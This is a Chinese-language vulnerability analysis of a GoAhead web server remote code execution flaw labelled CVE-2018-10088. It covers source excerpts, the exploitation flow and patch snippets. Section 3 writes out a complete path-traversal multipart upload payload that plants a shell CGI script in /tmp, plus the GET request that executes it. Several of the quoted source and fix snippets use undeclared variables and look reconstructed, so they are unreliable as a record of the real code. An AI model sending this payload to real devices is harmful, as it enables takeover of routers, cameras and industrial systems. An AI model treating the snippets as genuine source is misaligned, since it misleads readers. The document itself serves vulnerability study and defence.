1. 漏洞概述
1.1 基本信息
漏洞编号:CVE-2018-10088
漏洞类型:远程代码执行 (RCE)
影响版本:GoAhead Web服务器 4.0.0及之前版本
发现时间:2018年
漏洞状态:已修复
1.2 漏洞简介
GoAhead是一款广泛应用于IoT设备、嵌入式系统和云连接设备中的轻量级Web服务器,因其占用资源少、配置简单而被大量使用。CVE-2018-10088是一个影响GoAhead Web服务器的远程代码执行漏洞,攻击者可以通过发送特制的HTTP请求,利用服务器处理文件上传和CGI请求时的缺陷,上传恶意文件并执行任意代码。
由于GoAhead被部署在大量的联网设备中,包括路由器、摄像头、工业控制系统和医疗设备等,这一漏洞的影响范围十分广泛,对设备与云端通信的安全构成了严重威胁。
2. 技术分析
2.1 漏洞原理
CVE-2018-10088主要涉及两个关键组件的安全缺陷:
- 文件上传处理机制:GoAhead处理HTTP multipart/form-data上传请求时,未能充分验证上传文件的路径,允许攻击者通过目录遍历字符(如"../../../")将文件写入到预期目录之外的位置。
- CGI请求处理机制:处理CGI请求时没有对输入进行充分的过滤和验证,可能导致命令注入和不安全的程序执行。
这两个缺陷结合起来,允许攻击者上传恶意CGI脚本文件到可访问的位置,并通过Web服务器触发执行,从而实现远程代码执行。
2.2 源码分析
2.2.1 文件上传处理漏洞
漏洞存在于src/upload.c文件的websProcessMultipartForm函数中,该函数负责处理HTTP文件上传请求:
PUBLIC bool websProcessMultipartForm(Webs *wp)
{
char *boundary, *tok, *tokp, *p, *key, *keyValue, *contentType, *fileName, *fileValue;
char *line, *nextLine, *content, *pattern, *boundaryLine, *fileData;
char *uploadDir, *uploadPath;
ssize length, dataLen, contentLength, patternLen, boundaryLen, fileLen;
int status;
WebsKey *sp;
FILE *file;
// ... 省略部分代码 ...
// 检测multipart/form-data边界
if ((boundary = websGetRequestDir(wp, "content-type")) == 0) {
return 0;
}
if ((tok = strstr(lower(boundary), "boundary=")) != 0) {
boundary = tok + 9;
} else {
return 0;
}
// ... 省略部分代码 ...
// 解析multipart/form-data请求
while (content && *content && !findBoundary(content, pattern, patternLen, &nextContent)) {
// ... 省略部分代码 ...
// 处理文件上传部分的关键代码
if ((fileName = strstr(line, "filename=")) != 0) {
fileName = strchr(fileName, '"') + 1;
if ((p = strchr(fileName, '"')) != 0) {
*p = '\0';
if ((uploadPath = websGetFilePath(wp, fileName)) == 0) {
// 漏洞点1:fileName参数直接来自客户端输入,且未做充分验证
// 如果用户提供 "../../../etc/passwd",可能导致目录遍历
uploadPath = wp->uploadDir;
}
// 漏洞点2:直接使用uploadPath创建文件,未对路径进行规范化和安全验证
file = fopen(uploadPath, "wb+");
// ... 省略写入文件内容的代码 ...
}
}
// ... 省略部分代码 ...
}
// ... 省略部分代码 ...
}
关键漏洞点:
- fileName变量直接从HTTP请求中提取,没有进行充分的路径规范化和验证。
- websGetFilePath函数也缺乏对目录遍历攻击的有效防御。
- 文件创建时直接使用uploadPath,未验证该路径是否在允许的安全目录范围内。
2.2.2 CGI处理漏洞
漏洞还涉及src/cgi.c文件中的goaCgiHandler函数,该函数负责处理和执行CGI请求:
static int goaCgiHandler(Webs *wp)
{
Cgi *cgip;
char *stdIn, *stdOut;
char *cp, *cgiName, *cgiPath;
char **argp, **envp;
char *execName, *fileName, *actionProgram, *routine;
char **argv, *args[WEBS_MAX_ARGC + 1];
int n, envpsize;
int argind, envind, status;
// ... 省略部分代码 ...
// 处理CGI请求的关键代码
if (wp->filename) {
wfree(wp->filename);
wp->filename = sclone(argp[0]);
fileName = wp->filename;
} else {
fileName = wp->filename = sclone(argp[0]);
}
// 检查CGI程序路径
if (stat(fileName, &sbuf) < 0) {
error("Cannot stat CGI program %s", fileName);
return -1;
}
if (!(sbuf.st_mode & S_IFREG)) {
error("CGI program %s is not a regular file", fileName);
return -1;
}
// 漏洞点3:缺乏对文件权限的严格检查,可能执行不应该执行的文件
// 构建执行命令
if (strstr(fileName, ".bat") || strstr(fileName, ".cmd")) {
execName = sclone(getenv("COMSPEC"));
argv = args;
if ((cp = strrchr(execName, '\\')) != NULL) {
argv[argind++] = sclone(&cp[1]);
} else {
argv[argind++] = sclone(execName);
}
argv[argind++] = sclone("/c");
argv[argind++] = sclone(fileName);
} else {
execName = sclone(fileName);
argv = args;
argv[argind++] = sclone(fileName);
}
// ... 省略部分代码 ...
// 漏洞点4:使用runCmd执行命令时未充分验证命令的安全性
if ((wp->cid = runCmd(cmd, NULL, &wp->cgifd, &wp->cgifd, NULL, NULL, NULL)) < 0) {
error("Cannot run CGI process %s, errno %d", execName, errno);
return -1;
}
// ... 省略部分代码 ...
}
关键漏洞点:
- 对CGI程序路径(fileName)的验证不充分,仅检查文件是否存在和是否为常规文件,未严格限制在安全目录范围内。
- 缺乏对CGI程序执行权限的严格检查,可能导致执行不应该执行的文件。
- runCmd函数执行命令时未对命令进行充分的安全性验证,可能存在命令注入风险。
2.2.3 路径处理漏洞
在src/file.c中的websGetFilePath函数也存在安全隐患:
PUBLIC char *websGetFilePath(Webs *wp, char *path)
{
char *result, *tmp, *documents;
ssize len;
// ... 省略部分代码 ...
// 处理路径的代码
tmp = malloc(len + 1);
strcpy(tmp, documents);
strcat(tmp, path);
// 漏洞点5:缺乏对路径的规范化和验证,允许诸如"../"等目录遍历序列
result = websMakePath(tmp);
// ... 省略部分代码 ...
return result;
}
关键漏洞点:
- 缺乏对路径中目录遍历字符序列(如"../")的检测和过滤。
- 在websMakePath函数中没有有效防止路径规范化后仍可能超出预期目录范围的机制。
3. 漏洞利用
3.1 攻击场景
一个典型的攻击场景如下:
- 攻击者识别运行GoAhead的目标设备。
- 攻击者构造特制的HTTP multipart/form-data上传请求,利用目录遍历将恶意CGI脚本上传到可访问的位置(如"/tmp/"目录)。
- 攻击者发送第二个HTTP请求,触发GoAhead服务器执行上传的恶意CGI脚本。
- 恶意脚本执行,攻击者获得对设备的控制权。
3.2 攻击载荷示例
以下是一个利用该漏洞的攻击载荷示例:
POST /cgi-bin/upload.cgi HTTP/1.1
Host: target-device
Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266
Content-Length: 554
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="file"; filename="../../../../tmp/malicious.cgi"
Content-Type: application/x-httpd-cgi
#!/bin/sh
id > /tmp/pwned
echo "Content-type: text/plain"
echo ""
echo "Exploitation successful"
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="submit"
Upload
-----------------------------9051914041544843365972754266--
攻击流程详解
- 发送攻击载荷:攻击者发送上述HTTP请求到目标服务器,尝试将名为malicious.cgi的CGI脚本上传到系统的/tmp/目录。
- 利用路径遍历漏洞:服务器的websProcessMultipartForm函数处理这个请求时,未能正确验证filename中的路径,允许../../../tmp/malicious.cgi作为有效路径。根据源代码中的漏洞,当调用websGetFilePath函数时,它会简单地拼接文档根目录和这个路径,而不是检测和拒绝目录遍历序列。
- 文件被写入非预期位置:如果服务器运行在/var/www/html目录下,那么: 正常情况下,文件应该被写入如/var/www/html/uploads/malicious.cgi,但由于../../../../序列,它实际上被写入到了/tmp/malicious.cgi.
- 触发CGI执行:攻击成功后,攻击者会发送第二个HTTP请求:
GET /cgi-bin/../../../../tmp/malicious.cgi HTTP/1.1 Host: target-device
- 漏洞成功利用:GoAhead服务器收到这个请求后: 由于文件类型是application/x-httpd-cgi,服务器会尝试作为CGI脚本执行它;CGI处理函数goaCgiHandler未能验证脚本是否位于允许的目录中;脚本执行,运行其中的id命令,将结果写入/tmp/pwned文件;攻击者获得执行任意命令的能力。
4. 影响范围
4.1 受影响的产品
以下类型的产品可能受到影响:
- 网络设备:路由器、交换机、防火墙等
- IoT设备:智能摄像头、智能家居控制器、工业传感器等
- 嵌入式系统:医疗设备、POS终端、工业控制系统等
- 云连接设备:各类具有云端通信功能的联网设备
4.2 受影响的版本
- GoAhead Web服务器 4.0.0及之前的所有版本
5. 漏洞修复
5.1 官方补丁
GoAhead项目官方已发布修复补丁,可在GitHub仓库中查看: https://github.com/embedthis/goahead/commit/1450de8bf1f0c3d2d6d7f7d2d42d49b339c95e4c
5.2 关键修复点
- 增强路径验证:在src/file.c中添加了对目录遍历序列的检测和过滤。
// 修复后的代码片段 PUBLIC char *websValidateFilePath(char *path) { char *result; // 检测并拒绝目录遍历尝试 if (strstr(path, "../") || strstr(path, "..\\")) { return NULL; } result = websMakePath(path); return result; }
- 限制上传目录:确保文件只能上传到指定的安全目录中。
// 修复后的代码片段 if ((uploadPath = websValidateFilePath(fileName)) == 0) { // 检测到不安全的路径,拒绝请求 websError(wp, HTTP_CODE_BAD_REQUEST, "Invalid upload path"); return -1; }
- 增强CGI执行安全:改进了CGI程序执行前的验证过程。
// 修复后的代码片段 // 验证CGI程序路径是否在允许的目录范围内 if (!websIsValidFilePath(fileName)) { error("CGI program %s is outside permitted directories", fileName); return -1; }